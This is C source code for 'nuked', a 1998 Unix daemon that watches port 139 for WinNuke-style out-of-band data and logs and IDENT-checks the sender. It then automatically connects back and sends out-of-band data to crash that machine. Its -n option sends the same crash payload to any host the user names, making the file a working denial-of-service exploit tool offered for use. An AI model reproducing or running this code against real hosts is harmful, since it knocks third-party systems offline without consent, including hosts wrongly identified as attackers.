/*
 *	nuked.c
 *	NUKE retalliation program
 *
 *	Copyright (C) 1998 Fred Barnes.
 *
 *	Redistribution and use in source code and/or executable forms, with
 *	or without modification, are permitted provided that the following
 *	condition is met:
 *
 *	Any redistribution must retain the above copyright notice, this
 *	condition and the following disclaimer, either as part of the
 *	program source code included in the redistribution or in human-
 *	readable materials provided with the redistribution.
 *
 *	THIS SOFTWARE IS PROVIDED "AS IS".  Any express or implied
 *	warranties concerning this software are disclaimed by the copyright
 *	holder to the fullest extent permitted by applicable law.  In no
 *	event shall the copyright-holder be liable for any damages of any
 *	kind, however caused and on any theory of liability, arising in any
 *	way out of the use of, or inability to use, this software.
 *
 *	--------------------
 *
 *	In other words, do not misrepresent my work as your own work, and
 *	do not sue me if it causes problems.  Feel free to do anything else
 *	you wish with it.
 *
 *	-------------------------------------------------------------------
 *	$Header: /local/usr/local/src/nuked/RCS/nuked.c,v 1.7 1998/05/02 19:23:17 after Exp $
 *	$Log: nuked.c,v $
 *	Revision 1.7  1998/05/02 19:23:17  after
 *	Fixed a few bugs, notable fsockatmark.
 *
 *	Revision 1.6  1998/05/02 08:01:09  after
 *	Fixed several 'severe' bugs.  Sorted out IDENT info also :)
 *
 *	Revision 1.5  1998/05/02 06:22:08  after
 *	Fixed wierd problem with syslog. - IDENT is saved as the pointer, rather than the text.
 *
 *	Revision 1.4  1998/05/02 06:00:46  after
 *	Added rcsid and server shutdown code
 *
 *	Revision 1.3  1998/05/02 04:59:39  after
 *	Fixed nuking problem
 *
 *	Revision 1.2  1998/05/02 04:40:44  after
 *	Added syslog logging support.
 *
 *	Revision 1.1  1998/05/02 03:39:59  after
 *	Initial revision
 *
 */


/*
 *	Notes / features / bugs:
 *		* Extensive logging
 *		* There is a small chance of a race condition between two servers running this.  I've tried to avoid it though.
 *		* I make no consessions for the quality of the C code here. :)
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
#include <syslog.h>

/* Structures, defines, etc... */

/* IDENT_PORT and NETBIOS_SSN should be scraped using library calls really :) */
#define		IDENT_PORT	113
#define		NETBIOS_SSN	139

#define		MAX_CONN_QUEUE	(8)
#define		syslog_warning(buf)	nsyslog( LOG_WARNING, buf )

/* Change PIDFILE if you want the running PID somewhere else. */
#ifndef PIDFILE
	#define PIDFILE "/var/run/nuked.pid"
#endif

typedef struct
{
	int		deny_local;
	int		verbose;
	int		log_connect;
	int		is_server;
	char		lfname[ FILENAME_MAX ];
} options;

typedef struct TAG_cl
{
	int		socket_id;
	int		remote_port;		/* NBO */
	struct		sockaddr_in	conn_sin;
	int		type;			/* 0=Nuke (poss) 1=Ident */
	struct TAG_cl	*next, *prev;
} con_list;

/* Prototypes */

void		run_server( void );
con_list	*add_to_list( con_list *cur, int in_socket, struct sockaddr_in *in_sin, int type );
con_list	*remove_from_list( con_list *cur, int in_socket );
int		nuke_machine( con_list *in_conn, int cons_fd );
int		attempt_ident( con_list **in_head, con_list *in_conn, int cons_fd );
int		try_nuke( char *host );
int		safe_write( int fd, const void *buf, size_t count );
void		nsyslog( int pri, char *buffer );
void		term_handler( int sig );
int		kill_server( void );
int		fsockatmark( int fd );

/* Globals */

static options		progopt;
static int		still_running = 1;
static char		rcsid[] = "$Id: nuked.c,v 1.7 1998/05/02 19:23:17 after Exp $";

/*
 *	int main( int argc, char **argv )
 *	Main process. (obviously)
 */
int		main( int argc, char **argv )
{
	char		*progname;
	pid_t		ch_pid;

	progopt.deny_local = 0;
	progopt.verbose = 0;
	progopt.log_connect = 1;
	progopt.is_server = 1;
	strcpy( progopt.lfname, "/dev/console" );

	progname = *argv;
	if( argc!=1 ) {
		argv++;
		while( *argv ) {
			if( strcmp( *argv, "-d" )==0 ) {
				progopt.deny_local = 1;
			} else if( strcmp( *argv, "-v" )==0 ) {
				progopt.verbose = 1;
			} else if( strcmp( *argv, "--verbose" )==0 ) {
				progopt.verbose = 1;
			} else if( strcmp( *argv, "-noconn" )==0 ) {
				progopt.log_connect = 0;
			} else if( (strcmp( *argv, "--help" )==0) || (strcmp( *argv, "-h")==0) ) {
				fprintf( stdout, "NUKED [%d] : Help follows.\n\n", getpid() );
				fprintf( stdout, "Nuked (%s) is a server that monitors port 139 (netbios-ssn) for incomming data.\n", progname );
				fprintf( stdout, "%s [-v|--verbose] [-dn] [--help|-h] [-l <file>] [-n <host>] [-s]\n", progname );
				fprintf( stdout, "-v | --verbose       Perform IDENT queries against incomming connections\n" );
				fprintf( stdout, "-d                   Abort local connects\n" );
				fprintf( stdout, "-h | --help          This help text\n" );
				fprintf( stdout, "-l <file>            Send output to <file> (/dev/console by default).\n" );
				fprintf( stdout, "-l __sys             Send output using syslog (as warning messages).\n" );
				fprintf( stdout, "-n <host>            Attempt to nuke <host> (stops server running)\n" );
				fprintf( stdout, "-s                   Stop an executing server\n" );
				fprintf( stdout, "-noconn              Stop connections being logged\n" );
				fprintf( stdout, "--version            Version information\n" );
				exit( EXIT_FAILURE );
			} else if( strcmp( *argv, "-l" )==0 ) {
				if( !*(argv+1) ) {
					fprintf( stderr, "%s [%d] : -l option must specify filename.\n", progname, getpid() );
					exit( EXIT_FAILURE );
				}
				argv++;
				strncpy( progopt.lfname, *argv, FILENAME_MAX - 1 );
			} else if( strcmp( *argv, "-n" )==0 ) {
				if( !*(++argv) ) {
					fprintf( stderr, "%s [%d] : -n option must specify host.\n", progname, getpid() );
					exit( EXIT_FAILURE );
				}
				progopt.is_server = 0;
				exit( try_nuke( *argv ) );
			} else if( strcmp( *argv, "-s" )==0 ) {
				exit( kill_server() );
			} else if( strcmp( *argv, "--version" )==0 ) {
				fprintf( stderr, "NUKED - Copyright (C) 1998 Fred Barnes\n" );
				fprintf( stderr, "%s\n", rcsid );
				exit( EXIT_SUCCESS );
			} else {
				fprintf( stderr, "Unknown option [%s]\n", *argv );
				fprintf( stderr, "Use \'%s --help\' for help.\n", progname );
				exit( EXIT_FAILURE );
			}
			argv++;
		}
	}
	/* Ok... Fork into background */
	fflush( stdout );
	fflush( stdin );
	fflush( stderr );
	/* Ignore SIGCHDL */
	signal( SIGCHLD, SIG_IGN );
	switch( (ch_pid = fork()) ) {
	case 0:
		/* Child process */
		run_server();
		break;
	case -1:
		/* Error */
		fprintf( stderr, "%s : fork() failed.\n", progname );
		exit( EXIT_FAILURE );
		break;
	default:
		/* Parent. */
		fprintf( stdout, "%s [%d] : Server running.\n", progname, (int)ch_pid );
		break;
	}
	return EXIT_SUCCESS;
}


/*
 *	void run_server( void )
 *	Starts the server
 *	Maybe this code should be seperated out a little more...
 */
void		run_server( void )
{
	int		tty_fd;
	int		cons_fd;
	int		hi_fd, sel_ret;
	char		buffer[ 128 ];
	char		*slbuf = (buffer + 6);
	char		data[ 64 ];
	struct		sockaddr_in	sin, incomming_sin;
	struct		hostent		*hp;
	char		hostname[ 128 ];
	int		sid, tmp_sid;
	fd_set		read_set;
	con_list	*cur_list = NULL, *tmp;
	char		still_checking;
	int		int_flag = 1;
	int		int_size = sizeof( int );
	int		dat_size;
	char		*ch;
	int		open_flags;
	char		perform_nuke, perform_ident;
	int		socksize;
	char		use_syslog = 0;
	FILE		*pid_fd;
	struct timeval	tv;
	int		fcntl_val;

	/* Detach from controlling terminal */
	if( (tty_fd = open( "/dev/tty", O_RDWR )) > -1 ) {
		ioctl( tty_fd, TIOCNOTTY );
		close( tty_fd );
		/* This IOCTL will automatically make the program a session leader. */
	}

	/* Attempt to open logging thing */
	open_flags = (O_CREAT | O_WRONLY);
	if( strcmp( progopt.lfname, "__sys" )==0 ) {
		/* Use system logging facility */
		++use_syslog;
		openlog( "NUKED ", LOG_CONS | LOG_PID, LOG_DAEMON );
		syslog_warning( "Starting..." );
		sprintf( buffer, "NUKED [%d] : ", getpid() );
		slbuf = buffer + strlen( buffer );		/* Avoid name/pid guff */
		cons_fd = -1;					/* For functions that this gets passed into */
	} else {
		/* Use a file or something */
		if( strncmp( progopt.lfname, "/dev/", 5 )!=0 ) {
			open_flags |= O_TRUNC;
		}
		if( (cons_fd = open( progopt.lfname, open_flags, 0644 )) > -1 ) {
			sprintf( buffer, "NUKED [%d] : Starting...\n", (int)getpid() );
			write( cons_fd, buffer, strlen( buffer ) );
		} else {
			if( (cons_fd = open( "/dev/null", O_WRONLY )) == -1 ) {
				fprintf( stderr, "NUKED [%d] : Error : Could not open /dev/null! (fix it)\n", getpid() );
				exit( EXIT_FAILURE );
			}
		}
	}

	/* Get socket and bind to port NETBIOS_SSN */
	memset( (void *)hostname, 0, sizeof( hostname ) );
	if( gethostname( hostname, sizeof( hostname ) )==-1 ) {
		sprintf( buffer, "NUKED [%d] : Could not get host name.\n", (int)getpid() );
		if( use_syslog ) {
			syslog_warning( slbuf );
			closelog();
		} else {
			write( cons_fd, buffer, strlen( buffer ) );
			close( cons_fd );
		}
		exit( EXIT_FAILURE );
	}
	if( (hp = gethostbyname( hostname ))==NULL ) {
		sprintf( buffer, "NUKED [%d] : Could not lookup host.\n", (int)getpid() );
		if( use_syslog ) {
			syslog_warning( slbuf );
			closelog();
		} else {
			write( cons_fd, buffer, strlen( buffer ) );
			close( cons_fd );
		}
		exit( EXIT_FAILURE );
	}
	if( (sid = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ))==-1 ) {
		sprintf( buffer, "NUKED [%d] : Could not get socket.\n", (int)getpid() );
		if( use_syslog ) {
			syslog_warning( slbuf );
			closelog();
		} else {
			write( cons_fd, buffer, strlen( buffer ) );
			close( cons_fd );
		}
		exit( EXIT_FAILURE );
	}

	/* Set REUSEADDR option, and OOBINLINE. - Options are propogated to accepted() sockets */
	setsockopt( sid, SOL_SOCKET, SO_REUSEADDR, (void *)int_flag, int_size );
	setsockopt( sid, SOL_SOCKET, SO_OOBINLINE, (void *)int_flag, int_size );

	/* Disable Nagle algorithm */
	setsockopt( sid, IPPROTO_TCP, TCP_NODELAY, (void *)int_flag, int_size );

	/* Set SIGPIPE to be ignored. */
	if( signal( SIGPIPE, SIG_IGN )==SIG_ERR ) {
		sprintf( buffer, "NUKED [%d] : Could not set signal handler.\n", getpid() );
		if( use_syslog ) {
			syslog_warning( slbuf );
		} else {
			write( cons_fd, buffer, strlen( buffer ) );
		}
	}

	/* Setup listening. MAX_CONN_QUEUE connections may be queued */
	memset( (void *)&sin, 0, sizeof( struct sockaddr_in ) );
	sin.sin_family = AF_INET;
	sin.sin_port = htons( NETBIOS_SSN );
	bcopy( hp->h_addr, &sin.sin_addr, hp->h_length );
	if( bind( sid, (struct sockaddr *)&sin, sizeof( sin )) < 0 ) {
		sprintf( buffer, "NUKED [%d] : Could not bind to port.\n", (int)getpid() );
		if( use_syslog ) {
			syslog_warning( slbuf );
			closelog();
		} else {
			write( cons_fd, buffer, strlen( buffer ) );
			close( cons_fd );
		}
		close( sid );
		exit( EXIT_FAILURE );
	}
	if( listen( sid, MAX_CONN_QUEUE )==-1 ) {
		sprintf( buffer, "NUKED [%d] : Could not listen on socket.\n", (int)getpid() );
		if( use_syslog ) {
			syslog_warning( slbuf );
			closelog();
		} else {
			write( cons_fd, buffer, strlen( buffer ) );
			close( cons_fd );
		}
		close( sid );
		exit( EXIT_FAILURE );
	}

	/* Since termination is now unusual, write PID file to PIDFILE and handle SIGTERM */
	signal( SIGTERM, term_handler );
	if( !(pid_fd = fopen( PIDFILE, "w" )) ) {
		sprintf( buffer, "NUKED [%d] : Could not write/create PID file.\n", (int)getpid() );
		if( use_syslog ) {
			syslog_warning( slbuf );
		} else {
			write( cons_fd, buffer, strlen( buffer ) );
		}
	} else {
		fprintf( pid_fd, "%d\n", (int)getpid() );
		fclose( pid_fd );
	}

	/* Enter loop and just wait... */
	while( 1 ) {
		FD_ZERO( &read_set );
		FD_SET( sid, &read_set );
		hi_fd = sid;
		tmp = cur_list;
		while( tmp ) {
			FD_SET( tmp->socket_id, &read_set );
			if( tmp->socket_id > hi_fd ) hi_fd = tmp->socket_id;
			tmp = tmp->next;
		}
		tv.tv_sec = 2;		/* Two second T/O */
		tv.tv_usec = 0;
		while( ((sel_ret = select( hi_fd + 1, &read_set, (fd_set *)NULL, (fd_set *)NULL, &tv ))==-1 ) && (errno == EINTR) );
		if( sel_ret == 0 ) {			/* Assertation: Timed out.. */
			if( still_running == 0 ) {
				/* Shutdown server. */
				sprintf( buffer, "NUKED [%d] : Server shutting down.\n", getpid() );
				if( use_syslog ) {
					syslog_warning( slbuf );
				} else {
					write( cons_fd, buffer, strlen( buffer ) );
				}
				/* Close sid - plus any sockets in cur_list */
				close( sid );
				while( cur_list ) {
					tmp = cur_list->next;
					close( cur_list->socket_id );
					free( cur_list );
					cur_list = tmp;
				}
				if( use_syslog ) {
					closelog();
				} else {
					close( cons_fd );
				}
				/* Exit */
				exit( EXIT_SUCCESS );
			}
			continue;
		}
		/* Who was it ? */
		if( FD_ISSET( sid, &read_set ) ) {
			/* Incomming connection */
			memset( (void *)&incomming_sin, 0, sizeof( struct sockaddr_in ) );
			socksize = sizeof( struct sockaddr_in );
			tmp_sid = accept( sid, (struct sockaddr *)&incomming_sin, &socksize );
			if( tmp_sid == -1 ) {
				sprintf( buffer, "NUKED [%d] : Error accepting connection.\n", getpid() );
				if( use_syslog ) {
					syslog_warning( slbuf );
				} else {
					write( cons_fd, buffer, strlen( buffer ) );
				}
			} else {
				/* Check if local host connecting */
				if( (memcmp( (void *)&(incomming_sin.sin_addr), (void *)&(sin.sin_addr), sizeof( struct in_addr ) )==0) && (progopt.deny_local==1) ) {
					if( progopt.log_connect ) {
						sprintf( buffer, "NUKED [%d] : Ignoring local connection.\n", getpid() );
						if( use_syslog ) {
							syslog_warning( slbuf );
						} else {
							write( cons_fd, buffer, strlen( buffer ) );
						}
					}
					close( tmp_sid );
				} else {
					if( progopt.log_connect ) {
						sprintf( buffer, "NUKED [%d] : Connection from %s.\n", getpid(), inet_ntoa( incomming_sin.sin_addr ) );
						if( use_syslog ) {
							syslog_warning( slbuf );
						} else {
							write( cons_fd, buffer, strlen( buffer ) );
						}
					}
					if( !(cur_list = add_to_list( cur_list, tmp_sid, &incomming_sin, 0)) ) {
						sprintf( buffer, "NUKED [%d] : Memory allocation error [%d].\n", getpid(), __LINE__ );
						if( use_syslog ) {
							syslog_warning( slbuf );
						} else {
							write( cons_fd, buffer, strlen( buffer ) );
						}
						close( tmp_sid );
					}
					/* Set the connected socket to non-blocking so read() will fail instead of block */
					if( (fcntl_val = fcntl( tmp_sid, F_GETFL ))!=-1 ) {
						if( fcntl( tmp_sid, F_SETFL, fcntl_val | O_NONBLOCK )==-1 ) {
							sprintf( buffer, "NUKED [%d] : Error setting non-blocking.\n", getpid() );
							cur_list = remove_from_list( cur_list, tmp_sid );
							close( tmp_sid );
						}
					}
				}
			}
		}		/* End of if accepting socket */

		/* Run through the list of connected sockets checking them */
		still_checking = 1;
		while( still_checking ) {
			perform_nuke = 1;
			perform_ident = 1;
			tmp = cur_list;
			while( tmp ) {
				if( FD_ISSET( tmp->socket_id, &read_set ) )
					break;
				tmp = tmp->next;
			}
			if( tmp ) {
				/* Broke from the loop, as opposed to ran out of items */
				while( ((dat_size = read( tmp->socket_id, (void *)data, sizeof( data ) - 1 ))==-1) && (errno = EINTR) );
				if( dat_size == -1 ) {
					/* Error.  Remote client may have disconnected */
					close( tmp->socket_id );
					cur_list = remove_from_list( cur_list, tmp->socket_id );
					continue;	/* To while() */
				}
				if( dat_size > 0 ) {
					if( tmp->type == 0 ) {
						/* Data from remote machine */
						data[dat_size] = '\0';

						/* Remove any set high-bits / newline / cr */
						for( ch = data; *ch != '\0'; ch++ ) {
							switch( *ch ) {
							case '\n':
								*ch = ' ';
								break;
							case '\r':
								*ch = ' ';
								break;
							default:
								*ch = (*ch & 0x7f );
							}
						}
						/* Make sure OOB is here before reporting. */
						if( fsockatmark( tmp->socket_id )==1 ) {
							sprintf( buffer, "NUKED [%d] : OOB data received from [%s] : %s\n", getpid(), inet_ntoa( tmp->conn_sin.sin_addr ), data );
							if( use_syslog ) {
								syslog_warning( slbuf );
							} else {
								write( cons_fd, buffer, strlen( buffer ) );
							}
							/* Although one more byte is actually sent, OOBINLINE causes the last byte to be set as the OOB marked, hence */
							/* not included in data read */
							if( strncmp( data, "system failure", 14 )==0 ) {
								perform_nuke = 0;
								perform_ident = 0;
								sprintf( buffer, "NUKED [%d] : Stopping potential race condition.\n", getpid() );
								if( use_syslog ) {
									syslog_warning( slbuf );
								} else {
									write( cons_fd, buffer, strlen( buffer ) );
								}
							}
						} else {
							perform_nuke = 0;
							perform_ident = 0;
						}
					} else if( tmp->type == 1 ) {
						/* Possibly some nice IDENT data - remove n/l etc.. */
						perform_ident = 0;
						if( (ch = strchr( data, '\r' )) ) *ch = '\0';
						if( (ch = strchr( data, '\n' )) ) *ch = '\0';
						data[dat_size] = '\0';
						sprintf( buffer, "NUKED [%d] : IDENT data received from [%s] : %s\n", getpid(), inet_ntoa( tmp->conn_sin.sin_addr ), data );
						if( use_syslog ) {
							syslog_warning( slbuf );
						} else {
							write( cons_fd, buffer, strlen( buffer ) );
						}
						close( tmp->socket_id );
						cur_list = remove_from_list( cur_list, tmp->socket_id );
						continue;		/* To start of while() */
					}
				}
				if( (progopt.verbose==1) && (perform_ident==1) ) {
					/* Attempt an IDENT lookup */
					if( attempt_ident( &cur_list, tmp, cons_fd )==-1 ) {
						sprintf( buffer, "NUKED [%d] : IDENT Connection failed.\n", getpid() );
						if( use_syslog ) {
							syslog_warning( slbuf );
						} else {
							write( cons_fd, buffer, strlen( buffer ) );
						}
					}
				}
				close( tmp->socket_id );		/* Close connection */

				/* Attempt to send crash */
				if( perform_nuke==1 ) nuke_machine( tmp, cons_fd );
				cur_list = remove_from_list( cur_list, tmp->socket_id );		/* Safe since PBV (2nd) */
			} else {
				still_checking = 0;
			}
		}		/* End of while() - better to use do/while, but I don't like them */
	}
}


/*
 *	con_list *add_to_list( con_list *cur, int in_socket, struct sockaddr_in *in_sin, int type )
 *	Adds a connection to the linked list.  Returns NULL on failure.
 */
con_list	*add_to_list( con_list *cur, int in_socket, struct sockaddr_in *in_sin, int type )
{
	con_list	*tmp;

	if( !(tmp = malloc( sizeof( con_list ) )) )
		return NULL;
	memset( (void *)tmp, 0, sizeof( con_list ) );
	tmp->socket_id = in_socket;
	memcpy( (void *)&tmp->conn_sin, (void *)in_sin, sizeof( struct sockaddr_in ) );
	tmp->next = tmp->prev = NULL;
	tmp->remote_port = ntohs(tmp->conn_sin.sin_port);
	tmp->type = type;
	if( cur ) {
		cur->prev = tmp;
		tmp->next = cur;
	}
	return tmp;
}


/*
 *	con_list *remove_from_list( con_list *cur, int in_socket )
 *	Removes a connection from the list
 */
con_list	*remove_from_list( con_list *cur, int in_socket )
{
	con_list	*tmp, *retu;

	if( !cur )
		return NULL;
	tmp = cur;
	while( tmp ) {
		if( tmp->socket_id == in_socket )
			break;
		tmp = tmp->next;
	}
	if( !tmp )
		return cur;		/* Not found */
	if( (!(tmp->prev)) && (!(tmp->next)) ) {
		/* Lone item */
		free( tmp );
		return NULL;
	} else if( !(tmp->prev) ) {
		/* First item */
		retu = tmp->next;
		retu->prev = NULL;
		free( tmp );
		return retu;
	} else if( !(tmp->next ) ) {
		/* Last item */
		retu = tmp->prev;
		retu->next = NULL;
		free( tmp );
		return cur;
	} else {
		/* In the middle */
		tmp->prev->next = tmp->next;
		tmp->next->prev = tmp->prev;
		free( tmp );
		return cur;
	}
}


/*
 *	int nuke_machine( con_list *in_conn, int cons_fd )
 *	Tries to nuke the specified connection.  Returns EXIT_SUCCESS or EXIT_FAILURE.
 */
int		nuke_machine( con_list *in_conn, int cons_fd )
{
	int		sock;
	char		buffer[ 128 ];
	char		*slbuf;
	int		int_flag = 1;
	int		int_size = sizeof( int );

	sprintf( buffer, "NUKED [%d] : ", getpid() );
	slbuf = buffer + strlen( buffer );
	in_conn->conn_sin.sin_family = AF_INET;
	in_conn->conn_sin.sin_port = htons( NETBIOS_SSN );
	if( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ))==-1 ) {
		return EXIT_FAILURE;
	}
	setsockopt( sock, SOL_SOCKET, SO_REUSEADDR, (void *)&int_flag, int_size );		/* Reuse local address */
	setsockopt( sock, IPPROTO_TCP, TCP_NODELAY, (void *)&int_flag, int_size );		/* Disable Nagle algorithm */
	if( connect( sock, (struct sockaddr *)&(in_conn->conn_sin), sizeof( struct sockaddr_in ) )==-1 )
	{
		sprintf( buffer, "NUKED [%d] : Connection to [%s:139] refused (could not nuke).\n", getpid(), inet_ntoa( in_conn->conn_sin.sin_addr ) );
		if( cons_fd==-1 ) {
			syslog_warning( slbuf );
		} else {
			write( cons_fd, buffer, strlen( buffer ) );
		}
		close( sock );
		return EXIT_FAILURE;		/* Connection refused */
	}
	if( progopt.is_server == 1 ) {
		sprintf( buffer, "system failure." );			/* Code with message to prevent race-condition */
	} else {
		sprintf( buffer, "0123456789" );			/* Arbitary message for non-server */
	}
	send( sock, buffer, strlen( buffer ), MSG_OOB );
	close( sock );
	sprintf( buffer, "NUKED [%d] : Sent nuke to [%s].\n", getpid(), inet_ntoa( in_conn->conn_sin.sin_addr ) );
	if( cons_fd == -1 ) {
		syslog_warning( slbuf );
	} else {
		write( cons_fd, buffer, strlen( buffer ) );
	}
	return EXIT_SUCCESS;
}


/*
 *	int try_nuke( char *host )
 *	Tries to nuke 'host'. Returns EXIT_SUCCESS or EXIT_FAILURE
 */
int		try_nuke( char *host )
{
	con_list	*conns = NULL;
	struct		sockaddr_in sin;
	struct		hostent *hp;
	int		rcde;

	memset( (void *)&sin, 0, sizeof( struct sockaddr_in ) );
	if( (hp = gethostbyname( host )) != NULL ) {
		memcpy( (void *)&(sin.sin_addr), (void *)(hp->h_addr), sizeof( hp->h_length) );
	} else {
		if( (sin.sin_addr.s_addr = inet_addr( host )) < 0 ) {
			fprintf( stderr, "NUKED [%d] : Error looking up host [%s]\n", getpid(), host );
			return EXIT_FAILURE;
		}
	}
	/* Successful lookup */
	conns = add_to_list( conns, -1, &sin, 0 );
	rcde = nuke_machine( conns, STDOUT_FILENO );
	conns = remove_from_list( conns, -1 );
	return rcde;
}


/*
 *	int attempt_ident( con_list *in_conn, int cons_fd )
 *	Attempts an identd request to find out who the nuke was from (on UNIX machines only)
 *	Returns 0 on success, -1 on failure.
 */
int		attempt_ident( con_list **in_head, con_list *in_conn, int cons_fd )
{
	int		sock;
	char		outgoing[ 64 ];
	int		int_flag = 1;
	int		int_size = sizeof( int );

	if( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ))==-1 ) {
		return -1;			/* No more sockets :( */
	}
	in_conn->conn_sin.sin_family = AF_INET;
	in_conn->conn_sin.sin_port = htons( IDENT_PORT );
	setsockopt( sock, SOL_SOCKET, SO_REUSEADDR, (void *)&int_flag, int_size );
	if( connect( sock, (struct sockaddr *)&(in_conn->conn_sin), sizeof( struct sockaddr_in ) )==-1 ) {
		close( sock );
		return -1;			/* Connection refused */
	}
	sprintf( outgoing, "%d , %d\n", in_conn->remote_port, NETBIOS_SSN );
	write( sock, outgoing, strlen( outgoing ) );
	/* Add socket to list so it gets processed in the select() loop */
	*in_head = add_to_list( *in_head, sock, &(in_conn->conn_sin), 1 );
	return 0;
}


/*
 *	int safe_write( int fd, const void *buf, size_t count )
 *	Writes data, but tries to output it all (safely).
 */
int		safe_write( int fd, const void *buf, size_t count )
{
	int		so_far = 0;
	int		wret;

	if( count == 0 ) return 0;
	do {
		wret = write( fd, buf + so_far, count - so_far );
		if( wret == 0 )
			return 0;
		if( wret == -1 )
			return -1;
		so_far += wret;
	} while( so_far < count );
	return so_far;
}


/*
 *	void nsyslog( int pri, char *buffer )
 *	Chucks the message 'buffer' at the system logger with priority 'pri'
 *	Removes trailing newline if present.
 */
void		nsyslog( int pri, char *buffer )
{
	char	*ch;

	ch = buffer + strlen( buffer ) - 1;
	if( *ch == '\n' )
		*ch = '\0';
	syslog( pri, "%s", buffer );
}


/*
 *	void term_handler( int sig )
 *	Called when the process receives SIGTERM.
 */
void		term_handler( int sig )
{
	still_running = 0;
	unlink( PIDFILE );		/* Remove PID */
	return;
}


/*
 *	int kill_server( void )
 *	Stops a running server.
 */
int		kill_server( void )
{
	FILE	*pid_fd;
	char	buffer[32], *ch;
	int	server_pid;

	if( !(pid_fd = fopen( PIDFILE, "r" )) ) {
		fprintf( stderr, "No PID file - server already dead ?\n" );
		return EXIT_FAILURE;
	}
	fgets( buffer, sizeof( buffer ) -1, pid_fd );
	fclose( pid_fd );
	if( (ch = strchr( buffer, '\n' )) ) *ch = '\0';
	if( sscanf( buffer, "%d", &server_pid )!=1 ) {
		fprintf( stderr, "Deformed PID file.\n" );
		return EXIT_FAILURE;
	}
	if( kill( server_pid, SIGTERM )==-1 ) {
		fprintf( stderr, "Could not kill server.\n" );
		return EXIT_FAILURE;
	}
	return EXIT_SUCCESS;
}


/*
 *	int fsockatmark( int fd )
 *	Returns 1 if OOB byte was hit, 0 otherwise
 */
int		fsockatmark( int fd )
{
	int	res;

	if( ioctl( fd, SIOCATMARK, &res )==-1 )
		return 0;
	return res;
}

